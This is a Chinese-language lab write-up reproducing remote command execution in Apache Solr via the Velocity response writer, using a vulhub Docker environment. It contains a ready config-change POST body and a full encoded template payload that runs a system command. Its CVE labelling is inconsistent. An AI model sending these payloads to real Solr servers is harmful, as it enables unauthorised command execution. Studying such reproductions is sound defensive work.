该漏洞的产生是由于两方面的原因:
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。
Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。 当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)
Apache Solr 5.x - 8.2.0,存在config API版本
启动vulhub环境:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-0193
docker-compose up -d
创建名为test的Core:
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
搭建好后默认端口为8983,访问http://ip:8983 即可
利用前提:攻击者需要知道Solr服务中Core的名称才能执行攻击
如上图所示的这个名称就是Core的名称
直接构造POST请求,在/solr/test/config目录POST以下数据(修改Core的配置)
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
然后使用公开的exp发送请求
http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
即可成功执行命令
EXP:
https://github.com/Paper-Pen/TimelineSec_POC/(两日内更新)
参考链接:
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193
https://github.com/veracode-research/solr-injection#7-cve-2019-xxxx-rce-via-velocity-template-by-_s00py
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
https://baike.baidu.com/item/Solr/4101582?fr=aladdin
历史漏洞